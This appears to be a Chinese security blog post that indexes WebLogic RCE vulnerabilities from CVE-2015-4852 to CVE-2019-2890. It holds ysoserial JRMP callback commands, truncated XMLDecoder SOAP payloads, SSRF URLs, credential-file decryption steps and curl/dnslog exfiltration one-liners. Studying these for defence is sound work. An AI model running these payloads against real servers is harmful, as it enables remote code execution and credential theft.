前言
weblogic是作为我入门 Java 安全第一个跟踪分析的框架及漏洞点,当写下这篇文章的时候我也是准备从零开始分析调试weblogic历史上全部的 RCE 漏洞。在整个过程中收获良多,为了确保对此系列漏洞的理解到位,不产生太离谱的偏差,一遍又一遍的 Debug,同时参考了网上无数的相关复现文章,消耗了大量的时间,在漏洞分析过程中,由于很多细节自己知识匮乏,也没有解释的太明白,在漏洞复现的时候也没有跟的太深,但是也没办法了,以我目前的能力只能做到这个程度了。
希望感兴趣的读者能够按照从前到后的顺序进行查看,否则可能有看不懂的情况,因为我在写的过程中也是跟随漏洞版本,利用已有的知识进行编制和测试的,所以会有一定的前置知识的需求。
部分内容引用自jjf012的文章,现注明出处!如有侵权,请联系我删除~
作者:jjf012
链接:https://www.jianshu.com/p/38033935a914
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
目录
点击左边连接可以直接跳到对应漏洞的调试记录。
链接 | 描述 |
---|---|
攻击Java Web应用 | Java安全相关技术、IDEA调试技巧 |
weblogic简介及补丁分析方法(转) | weblogic基础及补丁分析 |
weblogicT3协议及T3反序列化漏洞简介 | weblogic RMI T3必须知道的知识 |
weblogic环境部署与远程调试 | weblogic环境部署与远程调试 |
CVE-2015-4852-Weblogic反序列化漏洞复现与分析 | CVE-2015-4852漏洞复现与分析 |
待补充其他 | 待补充其他 |
历史漏洞整理
T3协议
- 什么是RMI:远程方法调用
(Remote Method Invocation)
。能够让在某个java虚拟机上的对象像调用本地对象一样调用另一个java 虚拟机中的对象上的方法。- Java远程消息交换协议 JRMP 即
Java Remote MessagingProtocol
,是特定于Java
技术的、用于查找和引用远程对象的协议。这是运行在Java
远程方法调用RMI
之下、TCP/IP
之上的线路层协议。,也可以使用CORBA
兼容的方法实现。详细介绍请参考:https://blog.csdn.net/cdl2008sky/article/details/6844719
T3协议是用于Weblogic服务器和其他Java Application之间传输信息的协议,是实现上述RMI远程过程调用的专有协议,其允许客户端进行JNDI
调用。
当Weblogic发起一个T3协议连接的时候,Weblogic会连接每一个Java虚拟机并传输流量,由于通信过程得到了极大的简化,所以使得其在操作系统资源利用上实现的高效以及最大化,同时提高了传输速度。
CVE-2015-4852
此漏洞主要是由于apache的标准库中Apache Commons Collections
基础库的TransformedMap
类中。根据@breenmachine
的文章,他当时找漏洞的方法是,对weblogic在7001
端口的T3
协议进行抓包,发现流量中有java
反序列化之后Magic(幻数)ac ed 00 05
,然后替换掉对应的部分。
利用方式等同下面的CVE-2016-3510
,只不过payload不一样。
CVE-2016-0638
此漏洞是基于CVE-2015-4852漏洞进行黑名单的绕过,CVE-2015-4852补丁主要应用在三个位置上:
- weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream
- weblogic.rjvm.MsgAbbrevInputStream.class
- weblogic.iiop.Utils.class
所以如果能找到可以在其readObject
中创建自己的InputStream
的对象,并且不是使用黑名单中的ServerChannelInputStream
和MsgAbbrevInputStream
的readExternal
进行的反序列化,最后调用readObject()
方法进行反序列化的数据的读取,这样就可以执行含有恶意代码的序列化代码。依据这个思路找到了weblogic.jms.common.StreamMessageImpl
类,其中的readExternal()
方法也符合攻击的需求。
利用方式等同下面的CVE-2016-3510
,只不过payload不一样。
CVE-2016-3510
此漏洞是与CVE-2016-0638漏洞利用方式相似,只是选择了weblogic.corba.utils.MarshalledObject
进行绕过,绕过之前的CVE-2015-4852
和CVE-2016-0638
漏洞的修复补丁。
利用方式参照 https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/WebLogic%20CVE-2016-3510.py
CVE-2017-3248
Apache Commons Collections
基础的漏洞已经进行修补,所以CVE-2017-3248
漏洞利用方法与之前三个漏洞不同,这次主要是利用了JRMP java
远程方法协议。
利用java.rmi.registry.Registry
,序列化RemoteObjectInvocationHandler
,并使用UnicastRef
和远端建立tcp连接,获取RMI registry
,最终将加载的内容利用readObject()
进行解析,导致之前序列化的恶意代码执行。
利用方式可以参照 https://github.com/quentinhardy/scriptsAndExploits
或者下面
CVE-2018-2628
CVE-2018-2628漏洞与CVE-2017-3248漏洞利用方法类似,仅仅更换了使用的rmi接口,用java.rmi.activation.Activator
替换了CVE-2017-3248所使用的java.rmi.registry.Registry
,从而绕过resolveProxyClass
的判断,成功绕过了CVE-2017-3248漏洞的修复补丁。
1 | java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command] |
其中,[command]
即为想执行的命令,而[listen port]
是JRMP Server
监听的端口。
1 | python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient] |
[JRMPClient]
:有JRMPClient
或JRMPClient2
两个选项,两者只有接口类名的差别。然后weblogic就会回连到攻击者JRMPListener ip
,执行[command]
CVE-2018-2893
CVE-2018-2893漏洞绕过方式是利用StreamMessageImpl
对ysoserial
工具中的JRMPClient
生成的payloadObject
进行封装。相当于使用CVE-2016-0638
的利用方式加上CVE-2017-3248
的 payload 来绕过补丁。
利用方式可参考https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628
CVE-2018-3191
没看到具体介绍,只知道也是T3协议的锅。
这里下载payload生成,https://github.com/voidfyoo/CVE-2018-3191/releases
weblogic-spring-jndi-12.2.1.3.jar
for weblogic:
- 12.2.1.3
weblogic-spring-jndi-10.3.6.0.jar
for weblogic:
- 10.3.6.0
- 12.2.1.0
- 12.1.3.0
- 12.2.1.1
先生成一个payload,触发weblogic回连。
1 | java -jar weblogic-spring-jndi-10.3.6.0.jar rmi://攻击机ip:端口/exp > payload |
攻击者IP开启rmi服务
1 | java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 端口 CommonsCollections1 "要执行的指令" |
然后用weblogic.py向weblogic发起请求
1 | python weblogic.py 172.20.0.2 7001 payload |
weblogic就会回连到攻击者IP
,然后执行[command]
CVE-2018-3197
没找到介绍
CVE-2018-3201
没找到介绍
CVE-2018-3245
是补来补去一直没有修好的Weblogic JRMP反序列化漏洞。只要满足继承java.rmi.server.RemoteObject
,且不在黑名单之中的类对象。 这里通过ReferenceWrapper_Stub
这个类对象绕过。
POC生成可以参考 https://github.com/pyn3rd/CVE-2018-3245
利用方式等同 CVE-2018-3191
CVE-2019-2890
CVE-2019-2890又又又绕过了Weblogic的反序列化黑名单,使攻击者可以通过T3协议对存在漏洞的Weblogic组件实施远程攻击,但该漏洞利用条件较高,官方也归类为需要身份认证。具体分析过程看 https://paper.seebug.org/1069/,文章的作者也给出了漏洞验证的方式:https://github.com/SukaraLin/CVE-2019-2890
标记重点:需要先获取服务器上的密钥文件SerializedSystemIni.dat来加密序列化后的字节流,而这个文件每台服务器都不一样。这就是这个漏洞鸡肋的地方。
HTTP协议
CVE-2018-3252
DeploymentService组件存在反序列化漏洞,需要登陆后才能使用。POC生成可以参考 https://github.com/b1ueb0y/CVE-2018-3252
CVE-2017-3506
此漏洞主要是由于wls组件使用了webservice
来处理soap
请求,在weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest
方法中,当localHeader1
和localHeader2
都不为null时,将会把<work:WorkContext>
所包含的数据传入weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld
方法,在此方法中,对WorkContextXmlInputAdapter
类进行了实例化,并调用WorkContextXmlInputAdapter
类的构造方法,通过XMLDecoder()
进行反序列化操作。
可利用路径如下:
1 | /wls-wsat/CoordinatorPortType |
下面的POC等同于执行命令/bin/bash -c "touch /tmp/123"
1 | <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> |
CVE-2017-10271 Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞
CVE-2017-10271
是对CVE-2017-3506
修复补丁的一次绕过,可以看到唯一的变化就是把之前的Object
标签变成了void
标签。
bea_wls9_async_response
_WL_internal/bea_wls_internal/9j4dqk/war/
uddiexplorer
_WL_internal/wls-wast
访问http://your-ip:7001/bea_wls_internal/test.jsp
1 | POST /wls-wsat/CoordinatorPortType HTTP/1.1 |
除此之外,网上还出现了一些变形的payload,大家发现可以直接利用new和method元素完成payload的构造,连void元素都不用了,所以payload还可以这样写:
1 | <java version="1.4.0" class="java.beans.XMLDecoder"> |
CVE-2019-2725 wls9-async 反序列化漏洞
1 | POST /_async/AsyncResponseService HTTP/1.1 |
可以看到这回是利用class标签构造类,但是由于限制了method从而无法调用函数,因此,找了几个可以通过构造函数进行反序列化的类。网上通用的有
FileSystemXmlApplicationContext
UnitOfWorkChangeSet
利用方式可参考 https://github.com/lufeirider/CVE-2019-2725
CVE-2019-2729
这个漏洞是CVE-2019-2725的Bypass,对于JDK1.6,使用<array method ="forName">
标记有效地替换了<class>
标记的功能。只需用<array method ="forName">
标签替换<class>
标签就可以有效地绕过黑名单。
利用可以参考下面列出的漏洞检测脚本,改个命令即可。也可以参考这个,https://github.com/waffl3ss/CVE-2019-2729/blob/master/CVE-2019-2729.py
https://www.freebuf.com/vuls/206374.html
根据近些年 weblogic 由于 XMLDecoder 导致的反序列漏洞的缝缝补补中,可以看到虽然绕过的 poc 层出不穷,但是利用的范围却越来越窄,从一开始的所有 jdk 通用,到 7u21 以下可以利用成功,再到最近的绕过已经只能在 1.6 利用成功,可以看到,保持jdk 版本的高版本可以有效的防范 java 反序列化攻击。与此同时,对于基本用不到的 weblogic 组件,还是能删就删为好。
XXE
可以利用XXE读取
base_domain
中的名为SerializedSystemIni.dat
的密钥和config.xml
密文,用weblogic_decrypt.jar解密weblogic的登陆密码。
11g的密文在
安装目录/user_projects/domains/base_domain/servers/AdminServer/security/boot.properties
密钥在安装目录/user_projects/domains/base_domain/security/SerializedSystemIni.dat
10的密文在
安装目录/samples/domains/wl_server/security/boot.properties
- 任意文件上传(CVE-2018-2894),需要登陆,参考:
任意文件上传
CVE-2019-2618
CVE-2019-2618漏洞主要是利用了WebLogic组件中的DeploymentService接口,该接口支持向服务器上传任意文件。登录weblogic之后,设置wl_request_type参数为app_upload,构造文件上传格式的POST请求包,上传jsp木马文件,进而可以获得整个服务器的权限。
另外,weblogic的DeploymentService接口的正常功能本来就能部署war包。
利用方式参考:https://github.com/jas502n/cve-2019-2618
任意文件读取
CVE-2019-2615
需要登陆后才能利用。
1 | GET /bea_wls_management_internal2/wl_management HTTP/1.1 |
CVE-2014-4210 SSRF
1 | /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7000 |
关于命令回显
在linux中,被反引号包裹的字符串会被解释为命令行
1 | echo `whoami` test |
windows下执行set
可以看到一堆系统变量,用%
号可以调用这些变量
1 | echo %COMPUTERNAME% |
命令注入:利用管道符来注入要执行的命令
还有个|
,如127.0.0.1|whoami
,回显的是whoami
的结果
利用Ping命令和dnslog结合获取回显结果
1 | C:\Windows\System32\cmd.exe /c "ping -n 3 test.com || ping -c 3 test.com" |
目测每个目标要执行两次POC,另外linux还可以通过curl命令来回显
1 | curl test.com/`ifconfig|base64|tr '\n' '-'` |
漏洞检测
只是检测是否存在漏洞,不是利用工具
参考文章
- https://www.4hou.com/vulnerable/12874.html
- https://icematcha.win/?p=1174
- https://www.kingkk.com/2019/05/Weblogic-XMLDecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/
- https://mp.weixin.qq.com/s/ebKHjpbQcszAy_vPocW0Sg
- weblogic反序列化漏洞分析与调试
- https://blog.csdn.net/qq_27446553/article/details/78952010
- https://github.com/bit4woo/code2sec.com/blob/master/weblogic%E6%BC%8F%E6%B4%9ECVE-2017-3506%E5%A4%8D%E7%8E%B0%EF%BC%9AWeb%20Services%E6%A8%A1%E5%9D%97%E7%9A%84%E6%BC%8F%E6%B4%9E.md